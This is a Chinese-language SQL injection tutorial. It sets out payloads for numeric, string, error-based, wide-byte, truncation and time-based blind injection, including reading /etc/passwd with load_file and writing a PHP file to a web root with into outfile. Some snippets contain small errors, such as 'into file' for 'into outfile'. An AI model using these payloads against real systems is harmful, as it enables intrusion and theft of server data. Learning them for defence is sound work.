淺談SQL注入


先看一個sql語句:

select * from admin where username='(此處為用戶輸入的數據)';

在沒有任何過濾的情況下,如果用戶輸入:' or 1=1 --

這條語句就為:select * from admin where username='' or 1=1 --';

可見,語句執行永遠為真。此時就進行了sql注入。

SQL注入有如下分類:

一、數字型注入

初始參數為:id=1

可以構造:id=1 or 1=1 (語句執行永遠為真)

id=1 and 1=2 (語句執行永遠為假)

id=1' (語句執行會出錯)

數字型注入較為簡單,而且一般在PHP,ASP等弱類型語言中存在,而對於Java,C#等強類型語言一般不存在。

二、字符型注入

字符型注入首先想到的是閉合單引號。

不難想到:id=1' and 1=2 --

-- 是注釋后邊的語句。

三、其他注入

sql注入其實可以說就是字符型注入和數字型注入。

還有一些常見的注入,如:

POST注入:注入字段在POST數據中。

Cookie注入:注入字段在Cookie字段中。

延時注入:使用數據庫延時特性注入。

base64注入:注入字符串需要經過base64加密。

四、Mysql特性

mysql是一種數據庫。

(1)三種注釋:

#:注釋從“#”字符到行尾。

--:注釋“-- ”序列到行尾。注意:“-- ”后面要加一個空格。

/**/:注釋/*  XXXX */中間的字符。

/**/注釋存在一個特點:select id /*!55555,username*/ from users

語句正常執行。/*!55555,username*/的意思是若Mysql版本號高於或者等於5.55.55,語句將會被執行。如果“!”后面不加入版本號,將直接執行sql語句。

(2)mysql函數利用

load_file()函數讀文件

讀取文件,文件必須在服務器上,文件必須為絕對路徑,必須有權限,文件容量小於         max_allowed_packet字節(默認為16MB,最大為1GB),如:

union select 1,load_file('/etc/passwd'),3,4,5,6 #

繞過單引號:union select 1,load_file(字符串轉換為十六進制),3,4,5,6 #

union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 #   ascii碼

into outfile寫文件操作

必須持有權限,文件名為絕對路徑。

如:select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'

繞過單引號:select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'

concat 連接字符串

concat(user(),0x2c,database())

concat_ws(0x2c,user(),database())       0x2c是 逗號的16進制。

五、Mysql報錯注入

(1)updatexml

select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);

結果返回一個錯誤:'|5.1.50-community-log'

(2)extractvalue

select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));

結果返回一個錯誤:'|root@localhost'

(3)floor

select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b

結果返回:Duplicate entry '1root@localhost' for key 'group_key'

六、寬字節注入

如果PHP開啟了魔術引號,就會將單引號,雙引號,反斜杠和NULL字符加上反斜杠轉義。

如:id='   會輸出    \'

這時我們可以使用寬字節注入:id=%d5'     輸出:誠'   注入成功。

我們將  誠 進行url編碼:%d5%5c

而 \的url編碼為:%5c   可見 ,繁體字將反斜杠吃掉了。這就是寬字節注入的原理。

七、長字符截斷

原理很簡單。

比如在數據庫創建三個如下用戶:

admin   (有三個空格)

admin     (有五個空格)

admin       (有七個空格)

三個用戶名長度不一樣,但是如果 查詢admin用戶名,三個用戶名都會被查詢到。

假設后台語句是:

select count(*) from users where username='admin' and password='******';

這是存在安全問題的,如果用戶創建一個“admin          ”用戶,即可輕易進入后台,著名的wordpress就被這樣的方式攻擊過。

八、延時注入

基於時間差異的盲注手段。延時注入需要用到sleep()函數。

如:select * from users where id = 1 and sleep(3)    #三秒后執行sql語句。

也可以判斷是否存在注入:url+id=1 and sleep(3)  頁面三秒左右打開,則存在注入。

通常 會采用和 if 函數 搭配使用,進行爆破字符串。

如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)

L的位置代表字符串的第幾個字符,N代表ASCII碼。

執行成功,則三秒左右返回頁面,否則,和原來相同。

 

 

 

ps:堅持,努力,為夢想奮斗。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM